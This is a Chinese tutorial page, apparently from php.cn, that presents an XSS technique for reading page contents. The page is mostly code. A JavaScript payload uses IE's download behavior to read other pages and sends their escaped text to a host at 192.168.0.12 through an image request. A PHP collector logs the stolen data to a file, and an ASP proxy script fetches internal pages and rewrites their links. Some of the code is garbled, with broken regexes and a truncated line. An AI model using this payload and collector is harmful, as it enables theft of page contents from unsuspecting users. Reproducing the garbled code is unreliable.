首页 > web前端 > js教程 > 正文

xss文件页面内容读取(解决)_javascript技巧

php中文网
发布: 2016-05-16 18:15:09
原创
1649人浏览过

js:

复制代码 代码如下:

document.body.addBehavior("#default#Download");
var mycars = new Array();
mycars[0] = "l.htm";
mycars[1] = "y.htm";
for (x in mycars )
{
if(document.body.startDownload(mycars[x],GetData)){
GetData(source);
}
}

function GetData(source)
{
txt=escape(source);
getReaded(txt);
}
function getReaded(usr) {
var newimg = new Image();
newimg.src="http://192.168.0.12/style.php?key="+" "+" "+usr+" "+" ";
}


php:
复制代码 代码如下:

header('Content-Type:text/html;charset=GB2312');
function unescape($str) {
$str = rawurldecode($str);
preg_match_all("/%u.{4}|.{4};|d+;|.+/U",$str,$r);
$ar = $r[0];
foreach($ar as $k=>$v) {
if(substr($v,0,2) == "%u")
$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
elseif(substr($v,0,3) == "")
$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
elseif(substr($v,0,2) == "") {
$ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
}
}
return join("",$ar);
}
$file="news.html";
$_GET['key']=unescape($_GET['key']);
fputs(fopen($file,'a+'),$_GET['key']);
?>

=================================================以下通用了===============
复制代码 代码如下:

Response.Buffer = True
Dim sUrlB,send(2)
send(0)=escape(PageWebProxy("http://192.168.0.5/sohu.htm"))
send(1)=escape(PageWebProxy("http://192.168.0.5/c.htm"))
function PageWebProxy(xmlpath)
Dim i, re, Url, Html
Url = xmlpath

Set re = New RegExp
re.IgnoreCase = True
re.Global = True
sUrlB = Url
Html = getHTTPPage(Url)
Url = Left(Url, InStrRev(Url, "/"))
i = InStr(sUrlB, "?")
If i > 0 Then
sUrlB = Left(sUrlB, i - 1)
End If
re.Pattern = "(href|action)=('|"")?(?)"
Html = re.Replace(Html,"$1=$2" & sUrlB & "?")
re.Pattern = "(src|action|href)=('|"")?((http|https|javascript):[A-Za-z0-9./=?%-&_~`@[]':+!]+([^""])+)('|"")?"
Html = re.Replace(Html,"$1x=$2$3$2")
re.Pattern = "(window.open|url)(('|"")?((http|https):(//|\\)[A-Za-z0-9./=?%-&_~`@[]:+!]+([^'""])+)('|"")?)"
Html = re.Replace(Html,"$1x($2$3$2)")
re.Pattern = "(src|action|href|background)=('|"")?([^/""'][A-Za-z0-9./=?%-&_~`@[]:+!]+([^'""])+)('|"")?"
Html = re.Replace(Html,"$1=$2" & Url & "$3$2")
re.Pattern = "(src|action|href|background)=('|"")?/([^""'][A-Za-z0-9./=?%-&_~`@[]:+!]+([^'""])+)('|"")?"
Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2")
re.Pattern = "(src|action|href)=('|"")?/('|"")?"
Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2")
re.Pattern = "(window.open|url)(('|"")?([^/""'http:][A-Za-z0-9./=?%-&_~`@[]+!]+([^'""])+)('|"")?)"
Html = re.Replace(Html,"$1($2" & Url & "$3$2)")
re.Pattern = "(window.open|url)(('|"")?/([^""'http:][A-Za-z0-9./=?%-&_~`@[]+!]+([^'""])+)('|"")?)"
Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)")
Html = Replace(Html, "&", "%26")
If Split(Url, "/")(2) = "club.isso.com.cn" Then
Html = Replace(Html, "%26amp;", "%26")
Else
Html = Replace(Html, "%26amp;", "&")
End If
Html = Replace(Html, "%26nbsp;", " ")
Html = Replace(Html, "%26lt;", "Html = Replace(Html, "%26gt;", ">")
Html = Replace(Html, "%26quot;", """)
Html = Replace(Html, "%26copy;", "©")
Html = Replace(Html, "%26reg;", "®")
Html = Replace(Html, "%26raquo;", "»")
Html = Replace(Html, "%26%26", "&&")
Html = Replace(Html, "%26#", "")
' Html = Replace(Html, "%26", "")
re.Pattern = "(src|action|href)x=('|"")?((http|https|javascript):[A-Za-z0-9./=?%-&_~`@[]':+!]+([^""])+)('|"")?"
Html = re.Replace(Html,"$1=$2$3$2")
re.Pattern = "((http|https):(//|\\)[A-Za-z0-9./=?%-&_~`@[]':+!]+([^""])+)" '"(gif|jpg|bmp|png))"
Html = re.Replace(Html,"?url=$1")
re.Pattern = "?url=" & Url & "(#|javascript:)"
Html = re.Replace(Html,"$1")
re.Pattern = "multipart/form-data"
Html = re.Replace(Html,"")
PageWebProxy=Html
End function
Function getHTTPPage(url)
Dim Http, theStr, fileExt
Set Http = Server.CreateObject("MSXML2.XMLHTTP")
If Request.Form.Count > 0 Then
For Each x In Request.Form
theStr = theStr & Server.UrlEncode(x) & "=" & Server.UrlEncode(Request.Form(x)) & "&"
Next
Http.Open "POST", url, False
Http.SetRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded"
Http.Send(theStr)
Else
Http.Open "GET", url, False
Http.Send()
End If
If Http.readystate4 then Exit Function
fileExt = LCase(Mid(url, InStrRev(url, ".") + 1))
If InStr("$jpg$gif$bmp$png$js$", "$" & fileExt & "$") > 0 Then
Response.Clear
Response.BinaryWrite Http.responseBody
Response.End()
Else
If InStr("$rar$mdb$zip$exe$com$ico$", "$" & fileExt & "$") > 0 Then
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & Mid(sUrlB, InStrRev(sUrlB, "/") + 1)
Response.BinaryWrite Http.responseBody
Response.Flush
Else
getHTTPPage = bytesToBSTR(Http.responseBody, "GB2312")
End If
End If
Set Http = Nothing
End Function
Function BytesToBstr(body,Cset)
Dim objstream
Set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = nothing
End Function
%>

document.writeln("
java速学教程(入门到精通)
java速学教程(入门到精通)

java怎么学习?java怎么入门?java在哪学?java怎么学才快?不用担心,这里为大家提供了java速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号